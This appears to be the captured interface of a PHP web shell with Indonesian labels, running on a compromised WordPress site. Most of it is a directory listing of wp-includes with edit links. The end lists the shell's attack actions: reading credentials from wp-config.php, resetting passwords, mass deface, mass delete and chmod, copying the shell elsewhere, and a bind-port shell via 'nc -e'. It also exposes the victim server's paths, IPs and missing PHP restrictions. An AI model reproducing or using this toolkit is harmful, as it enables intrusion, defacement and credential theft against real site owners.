block-patterns.php 2026-10-22 10:4715.24 KB 76129f60960:kunden-xw-x--x--
edt
block-template-utils.php 2026-10-22 10:4761.99 KB 76129f60960:kunden-xw-x--x--
edt
block-template.php 2026-10-22 10:4717.83 KB 76129f60960:kunden-xw-x--x--
edt
blocks.php 2026-10-22 10:47121.29 KB 76129f60960:kunden-xw-x--x--
edt
bookmark-template.php 2026-10-22 10:4712.47 KB 76129f60960:kunden-xw-x--x--
edt
bookmark.php 2024-08-09 01:0115.07 KB 76129f60960:kunden-xw-x-----
edt
cache-compat.php 2026-10-22 10:4710.76 KB 76129f60960:kunden-xw-x--x--
edt
cache.php 2026-10-22 10:4713.17 KB 76129f60960:kunden-xw-x--x--
edt
canonical.php 2026-10-22 10:4733.97 KB 76129f60960:kunden-xw-x--x--
edt
capabilities.php 2026-10-22 10:4742.56 KB 76129f60960:kunden-xw-x--x--
edt
category-template.php 2026-10-22 10:4755.65 KB 76129f60960:kunden-xw-x--x--
edt
category.php 2026-10-22 10:4712.53 KB 76129f60960:kunden-xw-x--x--
edt
class-IXR.php 2026-10-22 10:472.55 KB 76129f60960:kunden-xw-x--x--
edt
class-avif-info.php 2026-10-22 10:4729.3 KB 76129f60960:kunden-xw-x--x--
edt
class-feed.php 2026-10-22 10:47539 B 76129f60960:kunden-xw-x--x--
edt
class-http.php 2023-02-04 23:48367 B 76129f60960:kunden-xw-x-----
edt
class-json.php 2026-10-22 10:4742.65 KB 76129f60960:kunden-xw-x--x--
edt
class-oembed.php 2023-02-04 23:48401 B 76129f60960:kunden-xw-x-----
edt
class-phpass.php 2026-10-22 10:476.61 KB 76129f60960:kunden-xw-x--x--
edt
class-phpmailer.php 2021-01-14 01:34664 B 76129f60960:kunden-xw-x-----
edt
class-pop3.php 2026-10-22 10:4720.61 KB 76129f60960:kunden-xw-x--x--
edt
class-requests.php 2023-09-21 23:242.18 KB 76129f60960:kunden-xw-x-----
edt
class-simplepie.php 2026-10-22 10:47453 B 76129f60960:kunden-xw-x--x--
edt
class-smtp.php 2021-07-24 19:08457 B 76129f60960:kunden-xw-x-----
edt
class-snoopy.php 2023-07-04 19:0336.83 KB 76129f60960:kunden-xw-x-----
edt
class-walker-category-dropdown.php 2024-01-20 23:472.41 KB 76129f60960:kunden-xw-x-----
edt
class-walker-category.php 2024-01-20 23:478.28 KB 76129f60960:kunden-xw-x-----
edt
class-walker-comment.php 2024-08-09 01:0113.89 KB 76129f60960:kunden-xw-x-----
edt
class-walker-nav-menu.php 2026-10-22 10:4711.76 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-page-dropdown.php 2024-01-20 23:472.65 KB 76129f60960:kunden-xw-x-----
edt
class-walker-page.php 2024-01-20 23:477.43 KB 76129f60960:kunden-xw-x-----
edt
class-wp-admin-bar.php 2026-10-22 10:4717.58 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ajax-response.php 2026-10-22 10:475.16 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-application-passwords.php 2026-10-22 10:4716.7 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-bindings-registry.php 2026-10-22 10:478.07 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-bindings-source.php 2026-10-22 10:472.92 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-editor-context.php 2023-02-04 23:481.32 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-list.php 2026-10-22 10:474.6 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-metadata-registry.php 2026-10-22 10:4711.57 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-parser-block.php 2026-10-22 10:472.5 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-parser-frame.php 2026-10-22 10:471.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-parser.php 2026-11-19 21:5511.29 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-pattern-categories-registry.php 2026-10-22 10:474.28 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-patterns-registry.php 2026-10-22 10:4710.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-processor.php 2026-10-22 10:4768.28 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-styles-registry.php 2026-10-22 10:476.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-supports.php 2026-10-22 10:477.4 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-template.php 2026-10-22 10:472.06 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-templates-registry.php 2026-10-22 10:476.91 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-type-registry.php 2026-10-22 10:475.18 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-type.php 2026-10-22 10:4716.82 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block.php 2026-10-22 10:4727.57 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-classic-to-block-menu-converter.php 2026-10-22 10:473.93 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-comment-query.php 2026-10-22 10:4747.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-comment.php 2026-10-22 10:4716.84 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-connector-registry.php 2026-10-22 10:4714.83 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-control.php 2026-10-22 10:4725.5 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-manager.php 2026-11-19 21:55198.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-nav-menus.php 2026-11-19 21:5556.92 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-panel.php 2026-10-22 10:4710.45 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-section.php 2026-10-22 10:4710.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-setting.php 2026-11-19 21:5536.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-widgets.php 2026-10-22 10:4770.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-date-query.php 2026-10-22 10:4735.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-dependencies.php 2026-10-22 10:4716.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-dependency.php 2026-10-22 10:472.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-duotone.php 2026-10-22 10:4739.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-editor.php 2026-10-22 10:4770.54 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-embed.php 2026-10-22 10:4715.54 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-error.php 2026-10-22 10:477.34 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-exception.php 2026-10-22 10:47253 B 76129f60960:kunden-xw-x--x--
edt
class-wp-fatal-error-handler.php 2026-10-22 10:477.96 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-feed-cache-transient.php 2026-10-22 10:473.23 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-feed-cache.php 2026-10-22 10:47969 B 76129f60960:kunden-xw-x--x--
edt
class-wp-filter-sentinel.php 2026-10-22 10:47760 B 76129f60960:kunden-xw-x--x--
edt
class-wp-hook.php 2026-10-22 10:4717.17 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-cookie.php 2026-10-22 10:477.1 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-curl.php 2026-10-22 10:4712.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-encoding.php 2023-09-21 23:246.53 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-ixr-client.php 2026-10-22 10:473.43 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-proxy.php 2023-09-21 23:245.84 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-requests-hooks.php 2023-07-04 19:031.97 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-requests-response.php 2026-10-22 10:474.14 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-response.php 2023-02-04 23:482.91 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-streams.php 2026-10-22 10:4716.37 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http.php 2026-10-22 10:4740.76 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-icon-collections-registry.php 2026-10-22 10:475.67 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-icons-registry.php 2026-10-22 10:479.67 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-image-editor-gd.php 2026-10-22 10:4720.25 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-image-editor-imagick.php 2026-10-22 10:4742.44 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-image-editor.php 2026-10-22 10:4717.05 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-list-util.php 2024-01-20 23:477.27 KB 76129f60960:kunden-xw-x-----
edt
class-wp-locale-switcher.php 2026-10-22 10:476.62 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-locale.php 2026-10-22 10:4716.45 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-matchesmapregex.php 2024-08-09 01:011.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-meta-query.php 2026-11-19 21:5530.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-metadata-lazyloader.php 2023-09-21 23:246.67 KB 76129f60960:kunden-xw-x-----
edt
class-wp-navigation-fallback.php 2026-10-22 10:478.98 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-network-query.php 2026-10-22 10:4719.52 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-network.php 2026-10-22 10:4712.12 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-object-cache.php 2026-10-22 10:4717.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-oembed-controller.php 2026-11-19 21:556.98 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-oembed.php 2026-10-22 10:4733.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-paused-extensions-storage.php 2026-10-22 10:474.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-phpmailer.php 2026-10-22 10:474.25 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugin-dependencies.php 2026-10-22 10:4724.62 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post-type.php 2026-10-22 10:4729.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post.php 2026-10-22 10:478.6 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-query.php 2026-11-19 21:55161.72 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-cookie-service.php 2023-02-04 23:486.72 KB 76129f60960:kunden-xw-x-----
edt
class-wp-recovery-mode-email-service.php 2026-10-22 10:4710.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-key-service.php 2026-10-22 10:474.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-link-service.php 2026-10-22 10:473.44 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode.php 2026-10-22 10:4711.19 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rewrite.php 2026-10-22 10:4762.2 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-role.php 2024-01-20 23:472.46 KB 76129f60960:kunden-xw-x-----
edt
class-wp-roles.php 2026-10-22 10:479.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-script-modules.php 2026-10-22 10:4739.79 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-scripts.php 2026-10-22 10:4735.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-session-tokens.php 2026-10-22 10:477.15 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-simplepie-file.php 2026-10-22 10:473.47 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-simplepie-sanitize-kses.php 2026-10-22 10:471.86 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-query.php 2026-10-22 10:4730.74 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site.php 2026-10-22 10:477.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-speculation-rules.php 2026-10-22 10:477.7 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-styles.php 2026-10-22 10:4713 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-tax-query.php 2026-10-22 10:4719.12 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-taxonomy.php 2026-10-22 10:4718.12 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-term-query.php 2026-10-22 10:4739.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-term.php 2026-10-22 10:475.14 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-text-diff-renderer-inline.php 2024-08-09 01:01979 B 76129f60960:kunden-xw-x-----
edt
class-wp-text-diff-renderer-table.php 2026-10-22 10:4718.48 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-textdomain-registry.php 2026-10-22 10:4710.24 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-json-data.php 2026-10-22 10:471.76 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-json-resolver.php 2026-10-22 10:4734.86 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-json-schema.php 2024-08-09 01:017.19 KB 76129f60960:kunden-xw-x-----
edt
class-wp-theme-json.php 2026-10-22 10:47216.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme.php 2026-10-22 10:4764.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-token-map.php 2026-10-22 10:4728.35 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-url-pattern-prefixer.php 2026-10-22 10:474.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user-meta-session-tokens.php 2026-10-22 10:472.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user-query.php 2026-10-22 10:4743.07 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user-request.php 2026-10-22 10:472.29 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user.php 2026-10-22 10:4722.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-view-config-data.php 2026-10-22 10:4728.74 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-walker.php 2026-10-22 10:4712.98 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-widget-factory.php 2026-10-22 10:474.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-widget.php 2026-10-22 10:4718.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-xmlrpc-server.php 2026-11-19 21:55213.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp.php 2026-10-22 10:4725.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wpdb.php 2026-10-22 10:47118.59 KB 76129f60960:kunden-xw-x--x--
edt
class.wp-dependencies.php 2023-02-04 23:48373 B 76129f60960:kunden-xw-x-----
edt
class.wp-scripts.php 2023-02-04 23:48343 B 76129f60960:kunden-xw-x-----
edt
class.wp-styles.php 2023-02-04 23:48338 B 76129f60960:kunden-xw-x-----
edt
comment-template.php 2026-10-22 10:47100.79 KB 76129f60960:kunden-xw-x--x--
edt
comment.php 2026-10-22 10:47147.1 KB 76129f60960:kunden-xw-x--x--
edt
compat-utf8.php 2026-10-22 10:4718.93 KB 76129f60960:kunden-xw-x--x--
edt
compat.php 2026-10-22 10:4721.95 KB 76129f60960:kunden-xw-x--x--
edt
connectors.php 2026-10-22 10:4732.15 KB 76129f60960:kunden-xw-x--x--
edt
cron.php 2026-10-22 10:4745.18 KB 76129f60960:kunden-xw-x--x--
edt
date.php 2023-02-04 23:48400 B 76129f60960:kunden-xw-x-----
edt
default-constants.php 2026-10-22 10:4711.1 KB 76129f60960:kunden-xw-x--x--
edt
default-filters.php 2026-10-22 10:4738.57 KB 76129f60960:kunden-xw-x--x--
edt
default-widgets.php 2026-10-22 10:472.23 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-10-22 10:47189.43 KB 76129f60960:kunden-xw-x--x--
edt
embed-template.php 2023-02-04 23:48338 B 76129f60960:kunden-xw-x-----
edt
embed.php 2026-10-22 10:4738.3 KB 76129f60960:kunden-xw-x--x--
edt
error-protection.php 2026-10-22 10:474 KB 76129f60960:kunden-xw-x--x--
edt
feed-atom-comments.php 2024-08-09 01:015.38 KB 76129f60960:kunden-xw-x-----
edt
feed-atom.php 2026-10-22 10:473.04 KB 76129f60960:kunden-xw-x--x--
edt
feed-rdf.php 2021-01-14 01:342.61 KB 76129f60960:kunden-xw-x-----
edt
feed-rss.php 2021-01-14 01:341.16 KB 76129f60960:kunden-xw-x-----
edt
feed-rss2-comments.php 2024-08-09 01:014.04 KB 76129f60960:kunden-xw-x-----
edt
feed-rss2.php 2021-01-14 01:343.71 KB 76129f60960:kunden-xw-x-----
edt
feed.php 2026-10-22 10:4724.6 KB 76129f60960:kunden-xw-x--x--
edt
fonts.php 2026-10-22 10:479.56 KB 76129f60960:kunden-xw-x--x--
edt
formatting.php 2026-11-19 21:55349.5 KB 76129f60960:kunden-xw-x--x--
edt
functions.php 2026-10-22 10:47288.56 KB 76129f60960:kunden-xw-x--x--
edt
functions.wp-scripts.php 2026-10-22 10:4720.01 KB 76129f60960:kunden-xw-x--x--
edt
functions.wp-styles.php 2026-10-22 10:478.45 KB 76129f60960:kunden-xw-x--x--
edt
general-template.php 2026-10-22 10:47179.88 KB 76129f60960:kunden-xw-x--x--
edt
global-styles-and-settings.php 2026-10-22 10:4720.29 KB 76129f60960:kunden-xw-x--x--
edt
http.php 2026-10-22 10:4728.28 KB 76129f60960:kunden-xw-x--x--
edt
https-detection.php 2026-10-22 10:475.72 KB 76129f60960:kunden-xw-x--x--
edt
https-migration.php 2023-09-21 23:244.63 KB 76129f60960:kunden-xw-x-----
edt
icons.php 2026-10-22 10:476.19 KB 76129f60960:kunden-xw-x--x--
edt
json-schema.php 2026-10-22 10:477.62 KB 76129f60960:kunden-xw-x--x--
edt
kses.php 2026-11-19 21:5589.72 KB 76129f60960:kunden-xw-x--x--
edt
l10n.php 2026-10-22 10:4769.74 KB 76129f60960:kunden-xw-x--x--
edt
link-template.php 2026-10-22 10:47156.39 KB 76129f60960:kunden-xw-x--x--
edt
load.php 2026-11-19 21:5555.15 KB 76129f60960:kunden-xw-x--x--
edt
locale.php 2019-12-30 22:06162 B 76129f60960:kunden-xw-x-----
edt
media-template.php 2026-10-22 10:4764.22 KB 76129f60960:kunden-xw-x--x--
edt
media.php 2026-10-22 10:47231.25 KB 76129f60960:kunden-xw-x--x--
edt
meta.php 2026-10-22 10:4765.17 KB 76129f60960:kunden-xw-x--x--
edt
ms-blogs.php 2026-10-22 10:4725.71 KB 76129f60960:kunden-xw-x--x--
edt
ms-default-constants.php 2024-08-09 01:014.81 KB 76129f60960:kunden-xw-x-----
edt
ms-default-filters.php 2023-07-04 19:036.48 KB 76129f60960:kunden-xw-x-----
edt
ms-deprecated.php 2026-10-22 10:4721.28 KB 76129f60960:kunden-xw-x--x--
edt
ms-files.php 2026-10-22 10:472.79 KB 76129f60960:kunden-xw-x--x--
edt
ms-functions.php 2026-10-22 10:4790.36 KB 76129f60960:kunden-xw-x--x--
edt
ms-load.php 2026-10-22 10:4719.58 KB 76129f60960:kunden-xw-x--x--
edt
ms-network.php 2023-09-21 23:243.69 KB 76129f60960:kunden-xw-x-----
edt
ms-settings.php 2026-10-22 10:474.1 KB 76129f60960:kunden-xw-x--x--
edt
ms-site.php 2026-10-22 10:4740.75 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu-template.php 2026-10-22 10:4725.37 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.php 2026-10-22 10:4743.23 KB 76129f60960:kunden-xw-x--x--
edt
option.php 2026-10-22 10:47102.78 KB 76129f60960:kunden-xw-x--x--
edt
pluggable-deprecated.php 2026-10-22 10:476.18 KB 76129f60960:kunden-xw-x--x--
edt
pluggable.php 2026-10-22 10:47124.92 KB 76129f60960:kunden-xw-x--x--
edt
plugin.php 2026-10-22 10:4736.25 KB 76129f60960:kunden-xw-x--x--
edt
post-formats.php 2026-10-22 10:476.9 KB 76129f60960:kunden-xw-x--x--
edt
post-template.php 2026-10-22 10:4767.51 KB 76129f60960:kunden-xw-x--x--
edt
post-thumbnail-template.php 2026-10-22 10:4710.62 KB 76129f60960:kunden-xw-x--x--
edt
post.php 2026-10-22 10:47298.43 KB 76129f60960:kunden-xw-x--x--
edt
query.php 2026-10-22 10:4736.67 KB 76129f60960:kunden-xw-x--x--
edt
registration-functions.php 2021-01-14 01:34200 B 76129f60960:kunden-xw-x-----
edt
registration.php 2021-01-14 01:34200 B 76129f60960:kunden-xw-x-----
edt
rest-api.php 2026-11-19 21:55100.72 KB 76129f60960:kunden-xw-x--x--
edt
revision.php 2026-10-22 10:4730.51 KB 76129f60960:kunden-xw-x--x--
edt
rewrite.php 2026-10-22 10:4719.11 KB 76129f60960:kunden-xw-x--x--
edt
robots-template.php 2023-02-04 23:485.06 KB 76129f60960:kunden-xw-x-----
edt
rss-functions.php 2026-10-22 10:47277 B 76129f60960:kunden-xw-x--x--
edt
rss.php 2026-10-22 10:4722.66 KB 76129f60960:kunden-xw-x--x--
edt
script-loader.php 2026-10-22 10:47159.72 KB 76129f60960:kunden-xw-x--x--
edt
script-modules.php 2026-10-22 10:4712.02 KB 76129f60960:kunden-xw-x--x--
edt
session.php 2021-01-14 01:34258 B 76129f60960:kunden-xw-x-----
edt
shortcodes.php 2026-11-19 21:5524.29 KB 76129f60960:kunden-xw-x--x--
edt
sitemaps.php 2021-07-24 19:083.16 KB 76129f60960:kunden-xw-x-----
edt
speculative-loading.php 2026-10-22 10:4711.6 KB 76129f60960:kunden-xw-x--x--
edt
spl-autoload-compat.php 2021-01-14 01:34441 B 76129f60960:kunden-xw-x-----
edt
style-engine.php 2026-10-22 10:477.86 KB 76129f60960:kunden-xw-x--x--
edt
taxonomy.php 2026-10-22 10:47174.13 KB 76129f60960:kunden-xw-x--x--
edt
template-canvas.php 2024-01-20 23:47544 B 76129f60960:kunden-xw-x-----
edt
template-loader.php 2026-10-22 10:474.17 KB 76129f60960:kunden-xw-x--x--
edt
template.php 2026-10-22 10:4737.92 KB 76129f60960:kunden-xw-x--x--
edt
theme-i18n.json 2026-10-22 10:471.85 KB 76129f60960:kunden-xw-x--x--
edt
theme-previews.php 2026-10-22 10:472.82 KB 76129f60960:kunden-xw-x--x--
edt
theme-templates.php 2026-10-22 10:473.96 KB 76129f60960:kunden-xw-x--x--
edt
theme.json 2026-10-22 10:479.26 KB 76129f60960:kunden-xw-x--x--
edt
theme.php 2026-10-22 10:47131.75 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-10-22 10:4737.37 KB 76129f60960:kunden-xw-x--x--
edt
user.php 2026-10-22 10:47176.08 KB 76129f60960:kunden-xw-x--x--
edt
utf8.php 2026-10-22 10:476.81 KB 76129f60960:kunden-xw-x--x--
edt
vars.php 2026-10-22 10:476.45 KB 76129f60960:kunden-xw-x--x--
edt
version.php 2026-11-19 22:471.11 KB 76129f60960:kunden-xw-x--x--
edt
view-config.php 2026-10-22 10:4718.64 KB 76129f60960:kunden-xw-x--x--
edt
view-transitions.php 2026-10-22 10:47602 B 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-10-22 10:4769.21 KB 76129f60960:kunden-xw-x--x--
edt
wp-db.php 2023-02-04 23:48445 B 76129f60960:kunden-xw-x-----
edt
wp-diff.php 2026-10-22 10:47792 B 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK